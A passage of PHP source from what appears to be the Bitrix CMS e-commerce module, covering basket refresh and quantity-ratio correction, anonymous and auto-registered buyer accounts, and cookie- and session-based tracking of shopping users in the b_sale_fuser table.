$basketItemRatio = floatval($basketItem['MEASURE_RATIO']);
$mod = roundEx(($basketItemQuantity / $basketItemRatio - round($basketItemQuantity / $basketItemRatio)), 6);
if ($mod != 0)
{
$fields['QUANTITY'] = floor(ceil($basketItemQuantity) / $basketItemRatio) * $basketItemRatio;
}
}
if (!empty($fields) && is_array($fields))
{
CSaleBasket::Update($basketItem['ID'], $fields);
}
}
}
}
return true;
}
/**
* @internal
* @param $fuserID
* @param $siteID
* @param array $options
*
* @return Sale\Result
*/
public static function refreshFUserBasket($fuserID, $siteID, array $options = array())
{
$result = new Sale\Result();
/** @var Sale\Basket $basket */
$basket = Sale\Basket::loadItemsForFUser($fuserID, $siteID);
if ($basket->count() > 0)
{
if (!Sale\Compatible\DiscountCompatibility::isInited())
Sale\Compatible\DiscountCompatibility::init();
$select = array("PRICE", 'QUANTITY', "COUPONS");
$basket->refreshData($select);
$warnings = array();
if (!empty($options) && array_key_exists('CORRECT_RATIO', $options) && $options['CORRECT_RATIO'] === 'Y')
{
$r = Sale\BasketComponentHelper::correctQuantityRatio($basket);
if (!$r->isSuccess())
{
foreach ($r->getErrors() as $error)
{
if ($error instanceof Sale\ResultWarning)
{
$warnings[] = $error;
}
elseif ($error instanceof Sale\ResultError)
{
$result->addError($error);
}
}
}
}
if ($result->isSuccess())
{
$r = $basket->save();
if (!$r->isSuccess())
{
$result->addErrors($r->getErrors());
}
}
$basketList = array();
/** @var Sale\BasketItem $basketItem */
foreach ($basket as $basketItem)
{
$basketList[$basketItem->getId()] = $basketItem->getFieldValues();
}
$result->addData(array('BASKET_LIST' => $basketList));
if (!empty($warnings))
{
$result->addWarnings($warnings);
}
}
return $result;
}
/**
* @param array $newProperties
* @param array $oldProperties
* @return bool|null
*/
public static function compareBasketProps($newProperties, $oldProperties)
{
$result = null;
if (!is_array($newProperties) || !is_array($oldProperties))
return $result;
$result = true;
if (empty($newProperties) && empty($oldProperties))
return $result;
$compareNew = array();
$compareOld = array();
foreach ($newProperties as &$property)
{
if (!isset($property['VALUE']))
continue;
$property['VALUE'] = (string)$property['VALUE'];
if ($property['VALUE'] == '')
continue;
$propertyID = '';
if (isset($property['CODE']))
{
$property['CODE'] = (string)$property['CODE'];
if ($property['CODE'] != '')
$propertyID = $property['CODE'];
}
if ($propertyID == '' && isset($property['NAME']))
{
$property['NAME'] = (string)$property['NAME'];
if ($property['NAME'] != '')
$propertyID = $property['NAME'];
}
if ($propertyID == '')
continue;
$compareNew[$propertyID] = $property['VALUE'];
}
unset($property);
foreach ($oldProperties as &$property)
{
if (!isset($property['VALUE']))
continue;
$property['VALUE'] = (string)$property['VALUE'];
if ($property['VALUE'] == '')
continue;
$propertyID = '';
if (isset($property['CODE']))
{
$property['CODE'] = (string)$property['CODE'];
if ($property['CODE'] != '')
$propertyID = $property['CODE'];
}
if ($propertyID == '' && isset($property['NAME']))
{
$property['NAME'] = (string)$property['NAME'];
if ($property['NAME'] != '')
$propertyID = $property['NAME'];
}
if ($propertyID == '')
continue;
$compareOld[$propertyID] = $property['VALUE'];
}
unset($property);
$result = false;
if (count($compareNew) == count($compareOld))
{
$result = true;
foreach($compareNew as $key => $val)
{
if (!isset($compareOld[$key]) || $compareOld[$key] != $val)
{
$result = false;
break;
}
}
}
unset($compareOld, $compareNew);
return $result;
}
/**
* @internal
* @return array
*/
public static function getRoundFields()
{
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
if ($isOrderConverted != 'N')
{
$registry = Sale\Registry::getInstance(Sale\Registry::REGISTRY_TYPE_ORDER);
/** @var Sale\BasketItemBase $basketItemClassName */
$basketItemClassName = $registry->getBasketItemClassName();
return $basketItemClassName::getRoundFields();
}
return array(
'DISCOUNT_PRICE',
'DISCOUNT_PRICE_PERCENT',
);
}
}
class CAllSaleUser
{
/**
* Creates new anonymous user with e-mail 'anonymous_some_number@example.com' and returns his ID
* Used mainly in CRM
*
* @return int - new user ID or ID of already existing anonymous user, 0 if error
*/
public static function GetAnonymousUserID()
{
$bUserExists = false;
$anonUserID = intval(COption::GetOptionInt("sale", "anonymous_user_id", 0));
if ($anonUserID > 0)
{
$by = "id";
$order = "asc";
$dbUser = CUser::GetList($by, $order, array("ID_EQUAL_EXACT"=>$anonUserID), array("FIELDS"=>array("ID")));
if ($arUser = $dbUser->Fetch())
$bUserExists = true;
}
if (!$bUserExists)
{
$anonUserEmail = "anonymous_".randString(9)."@example.com";
$arErrors = array();
$anonUserID = CSaleUser::DoAutoRegisterUser(
$anonUserEmail,
array("NAME" => Loc::getMessage("SU_ANONYMOUS_USER_NAME")),
SITE_ID,
$arErrors,
array(
'ACTIVE' => 'N',
'EXTERNAL_AUTH_ID' => 'saleanonymous',
)
);
if ($anonUserID > 0)
{
COption::SetOptionInt("sale", "anonymous_user_id", $anonUserID);
}
else
{
$errorMessage = "";
if (!empty($arErrors))
{
$errorMessage = " ";
foreach ($arErrors as $value)
{
$errorMessage .= $value["TEXT"]."<br>";
}
}
$GLOBALS["APPLICATION"]->ThrowException(Loc::getMessage("SU_ANONYMOUS_USER_CREATE", array("#ERROR#" => $errorMessage)), "ANONYMOUS_USER_CREATE_ERROR");
return 0;
}
}
return $anonUserID;
}
public static function DoAutoRegisterUser($autoEmail, $payerName, $siteId, &$arErrors, $arOtherFields = null)
{
if ($siteId == null)
$siteId = SITE_ID;
$autoEmail = trim($autoEmail);
$autoName = "";
$autoLastName = "";
$autoSecondName = "";
if (!is_array($payerName) && (strlen($payerName) > 0))
{
$arNames = explode(" ", $payerName);
$autoName = $arNames[1];
$autoLastName = $arNames[0];
$autoSecondName = (!empty($arNames[2]) ? trim($arNames[2]) : false);
}
elseif (is_array($payerName))
{
$autoName = $payerName["NAME"];
$autoLastName = $payerName["LAST_NAME"];
$autoSecondName = $payerName["SECOND_NAME"];
}
if (!empty($autoEmail))
{
$autoLogin = $autoEmail;
$pos = strpos($autoLogin, "@");
if ($pos !== false)
$autoLogin = substr($autoLogin, 0, $pos);
if (strlen($autoLogin) > 47)
$autoLogin = substr($autoLogin, 0, 47);
while (strlen($autoLogin) < 3)
$autoLogin .= "_";
}
else
{
$autoLogin = "buyer";
}
$idx = 0;
$loginTmp = $autoLogin;
$dbUserLogin = CUser::GetByLogin($autoLogin);
while ($arUserLogin = $dbUserLogin->Fetch())
{
$idx++;
if ($idx <= 10)
$autoLogin = $loginTmp.$idx;
else
$autoLogin = "buyer".time().GetRandomCode(2);
$dbUserLogin = CUser::GetByLogin($autoLogin);
}
$defaultGroup = COption::GetOptionString("main", "new_user_registration_def_group", "");
if ($defaultGroup != "")
{
$arDefaultGroup = explode(",", $defaultGroup);
$arPolicy = CUser::GetGroupPolicy($arDefaultGroup);
}
else
{
$arPolicy = CUser::GetGroupPolicy(array());
}
$passwordMinLength = intval($arPolicy["PASSWORD_LENGTH"]);
if ($passwordMinLength <= 0)
$passwordMinLength = 6;
$passwordChars = array(
"abcdefghijklnmopqrstuvwxyz",
"ABCDEFGHIJKLNMOPQRSTUVWXYZ",
"0123456789",
);
if ($arPolicy["PASSWORD_PUNCTUATION"] === "Y")
$passwordChars[] = ",.<>/?;:'\"[]{}\|`~!@#\$%^&*()-_+=";
$autoPassword = randString($passwordMinLength + 2, $passwordChars);
$arFields = array(
"LOGIN" => $autoLogin,
"PASSWORD" => $autoPassword,
"PASSWORD_CONFIRM" => $autoPassword,
"GROUP_ID" => $arDefaultGroup,
"LID" => $siteId,
);
if(strlen($autoName) > 0)
$arFields["NAME"] = $autoName;
if(strlen($autoLastName) > 0)
$arFields["LAST_NAME"] = $autoLastName;
if(strlen($autoSecondName) > 0)
$arFields["SECOND_NAME"] = $autoSecondName;
if(strlen($autoEmail) > 0)
$arFields["EMAIL"] = $autoEmail;
$arFields["ACTIVE"] = (isset($arOtherFields["ACTIVE"]) && $arOtherFields["ACTIVE"] == "N") ? "N" : "Y";
if (isset($arOtherFields["ACTIVE"]))
unset($arOtherFields["ACTIVE"]);
if (is_array($arOtherFields))
{
foreach ($arOtherFields as $key => $value)
{
if (!array_key_exists($key, $arFields))
$arFields[$key] = $value;
}
}
$user = new CUser;
$userId = $user->Add($arFields);
if (intval($userId) <= 0)
{
$arErrors[] = array("TEXT" => Loc::getMessage("STOF_ERROR_REG").((strlen($user->LAST_ERROR) > 0) ? ": ".$user->LAST_ERROR : ""));
return 0;
}
return $userId;
}
function CheckFields($ACTION, &$arFields, $ID = 0)
{
return true;
}
function GetID($bSkipFUserInit = false)
{
global $USER;
$bSkipFUserInit = ($bSkipFUserInit !== false);
$cookie_name = COption::GetOptionString("main", "cookie_name", "BITRIX_SM");
$ID = null;
$filter = array();
if (isset($_SESSION["SALE_USER_ID"]) && intval($_SESSION["SALE_USER_ID"]) > 0)
{
$ID = intval($_SESSION["SALE_USER_ID"]);
}
if (intval($ID) <= 0 && isset($_COOKIE[$cookie_name."_SALE_UID"]))
{
$CODE = (string)$_COOKIE[$cookie_name."_SALE_UID"];
if (COption::GetOptionString("sale", "encode_fuser_id", "N") == "Y")
{
$filter = (array("CODE" => $CODE));
}
else
{
$filter = (array("ID" => intval($CODE)));
}
}
if (intval($ID) <= 0)
{
if (!empty($filter))
{
$arRes = CSaleUser::GetList($filter);
if(!empty($arRes))
{
$ID = $arRes["ID"];
CSaleUser::Update($ID);
}
else
{
if ($USER && $USER->IsAuthorized())
{
$ID = CSaleUser::getFUserCode();
}
if (intval($ID) <= 0 && !$bSkipFUserInit)
{
$ID = CSaleUser::Add();
}
}
}
elseif (!$bSkipFUserInit)
{
$ID = CSaleUser::Add();
}
}
return (int)$ID;
}
function Update($ID, $allowUpdate = true)
{
global $DB, $USER;
if (!is_object($USER))
$USER = new CUser;
$ID = IntVal($ID);
$cookie_name = COption::GetOptionString("main", "cookie_name", "BITRIX_SM");
$arFields = array(
"=DATE_UPDATE" => $DB->GetNowFunction(),
);
if ($USER->IsAuthorized())
$arFields["USER_ID"] = IntVal($USER->GetID());
if ($allowUpdate)
{
CSaleUser::_Update($ID, $arFields);
}
$secure = false;
if(COption::GetOptionString("sale", "use_secure_cookies", "N") == "Y" && CMain::IsHTTPS())
$secure=1;
$_COOKIE[$cookie_name."_SALE_UID"] = $ID;
if(COption::GetOptionString("sale", "encode_fuser_id", "N") == "Y")
{
$arRes = CSaleUser::GetList(array("ID" => $ID));
if(!empty($arRes))
{
if(strval($arRes["CODE"]) == "")
{
$arRes["CODE"] = md5(time().randString(10));
if ($allowUpdate)
{
CSaleUser::_Update($arRes["ID"], array("CODE" => $arRes["CODE"]));
}
}
$GLOBALS["APPLICATION"]->set_cookie("SALE_UID", $arRes["CODE"], false, "/", false, $secure, "Y", false);
$_COOKIE[$cookie_name."_SALE_UID"] = $arRes["CODE"];
}
}
else
{
$GLOBALS["APPLICATION"]->set_cookie("SALE_UID", $ID, false, "/", false, $secure, "Y", false);
}
return true;
}
function _Update($ID, $arFields)
{
global $DB;
$ID = IntVal($ID);
if ($ID <= 0)
return False;
$arFields1 = array();
foreach ($arFields as $key => $value)
{
if (substr($key, 0, 1)=="=")
{
$arFields1[substr($key, 1)] = $value;
unset($arFields[$key]);
}
}
if (!CSaleUser::CheckFields("UPDATE", $arFields, $ID))
return false;
$strUpdate = $DB->PrepareUpdate("b_sale_fuser", $arFields);
foreach ($arFields1 as $key => $value)
{
if (strlen($strUpdate)>0) $strUpdate .= ", ";
$strUpdate .= $key."=".$value." ";
}
$strSql = "UPDATE b_sale_fuser SET ".$strUpdate." WHERE ID = ".$ID." ";
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $ID;
}
function GetList($arFilter)
{
global $DB;
$arSqlSearch = Array();
if (!is_array($arFilter))
$filter_keys = Array();
else
$filter_keys = array_keys($arFilter);
$countarFilter = count($filter_keys);
for ($i=0; $i < $countarFilter; $i++)
{
$val = $DB->ForSql($arFilter[$filter_keys[$i]]);
$key = $filter_keys[$i];
if ($key[0]=="!")
{
$key = substr($key, 1);
$bInvert = true;
}
else
$bInvert = false;
if (strval($val) == "")
$val = 0;
switch(ToUpper($key))
{
case "ID":
$arSqlSearch[] = "ID ".($bInvert?"<>":"=")." ".IntVal($val)." ";
break;
case "USER_ID":
$arSqlSearch[] = "USER_ID ".($bInvert?"<>":"=")." ".IntVal($val)." ";
break;
case "CODE":
$arSqlSearch[] = "CODE ".($bInvert?"<>":"=")." '".$DB->ForSql($val)."' ";
break;
}
}
$strSqlSearch = "";
$countSqlSearch = count($arSqlSearch);
for($i=0; $i < $countSqlSearch; $i++)
{
$strSqlSearch .= " AND ";
$strSqlSearch .= " (".$arSqlSearch[$i].") ";
}
$strSql = "SELECT ID, DATE_INSERT, DATE_UPDATE, USER_ID, CODE FROM b_sale_fuser WHERE 1 = 1 ".$strSqlSearch." ORDER BY ID DESC";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res->Fetch();
}
function Delete($ID)
{
global $DB;
$ID = IntVal($ID);
foreach(GetModuleEvents("sale", "OnSaleUserDelete", true) as $arEvent)
ExecuteModuleEventEx($arEvent, Array($ID));
$DB->Query("DELETE FROM b_sale_fuser WHERE ID = ".$ID." ", true);
return true;
}
function OnUserLogin($new_user_id, array $params = array())
{
$cookie_name = COption::GetOptionString("main", "cookie_name", "BITRIX_SM");
$allowUpdate = !array_key_exists('update', $params) || $params['update'] === true;
CSaleUser::UpdateSessionSaleUserID();
$ID = $_SESSION["SALE_USER_ID"];
if(COption::GetOptionString("sale", "encode_fuser_id", "N") != "Y")
{
$ID = IntVal($ID);
}
if (intval($ID) <= 0 && isset($_COOKIE[$cookie_name."_SALE_UID"]))
{
$CODE = (string)$_COOKIE[$cookie_name."_SALE_UID"];
if (COption::GetOptionString("sale", "encode_fuser_id", "N") == "Y" && strval($CODE) != "")
{
$arRes = CSaleUser::GetList(array("CODE" => $CODE));
if(!empty($arRes))
{
$ID = $arRes["ID"];
}
}
elseif (intval($CODE) > 0)
{
$ID = intval($CODE);
}
}
$res = CSaleUser::GetList(array("!ID" => IntVal($ID), "USER_ID" => IntVal($new_user_id)));
if (!empty($res))
{
if ($ID > 0)
{
if (CSaleBasket::TransferBasket($ID, $res["ID"]))
{
CSaleUser::Delete($ID);
}
}
$ID = IntVal($res["ID"]);
}
CSaleUser::Update($ID, $allowUpdate);
$_SESSION["SALE_USER_ID"] = $ID;
$_SESSION["SALE_BASKET_NUM_PRODUCTS"] = Array();
return true;
}
public static function UpdateSessionSaleUserID()
{
global $USER;
if ((string)$_SESSION["SALE_USER_ID"] !== "" && intval($_SESSION["SALE_USER_ID"])."|" != $_SESSION["SALE_USER_ID"]."|")
{
$arRes = CSaleUser::GetList(array("CODE" => $_SESSION["SALE_USER_ID"]));
if(!empty($arRes))
{
$_SESSION["SALE_USER_ID"] = $arRes['ID'];
return $arRes['ID'];
}
else
{
if ($USER && $USER->IsAuthorized())
{
$ID = CSaleUser::getFUserCode();
return $ID;
}
}
}
return 0;
}
public static function getFUserCode()
{
global $USER;
$arRes = CSaleUser::GetList(array("USER_ID" => (int)$USER->GetID()));
if (!empty($arRes))
{
$_SESSION["SALE_USER_ID"] = $arRes['ID'];
$arRes["CODE"] = md5(time().randString(10));
$GLOBALS["DB"]->StartUsingMasterOnly();
CSaleUser::_Update($arRes["ID"], array("CODE" => $arRes["CODE"]));
CSaleUser::Update($arRes["ID"]);
$GLOBALS["DB"]->StopUsingMasterOnly();
return $arRes["ID"];
}
return 0;
}
function OnUserLogout($userID)
{
global $APPLICATION;
unset($_SESSION["SALE_USER_ID"]);
$_SESSION["SALE_BASKET_NUM_PRODUCTS"] = Array();
$_SESSION["SALE_BASKET_PRICE"] = Array();
$secure = false;
if(COption::GetOptionString("sale", "use_secure_cookies", "N") == "Y" && CMain::IsHTTPS())
{
$secure=1;
}
$APPLICATION->set_cookie("SALE_UID", 0, -1, "/", false, $secure, "Y", false);
$cookie_name = COption::GetOptionString("main", "cookie_name", "BITRIX_SM");
unset($_COOKIE[$cookie_name."_SALE_UID"]);
}
function DeleteOldAgent($nDays, $speed = 0)
{
return Sale\Basket::deleteOldAgent($nDays, $speed);
}
function OnUserDelete($userID)
{
if($userID<=0)
return false;
$arSUser = CSaleUser::GetList(array("USER_ID" => $userID));
if(!empty($arSUser))
{
if(!(CSaleBasket::DeleteAll($arSUser["ID"])))
return false;
if(!(CSaleUser::Delete($arSUser["ID"])))
return false;
}
return true;
}
}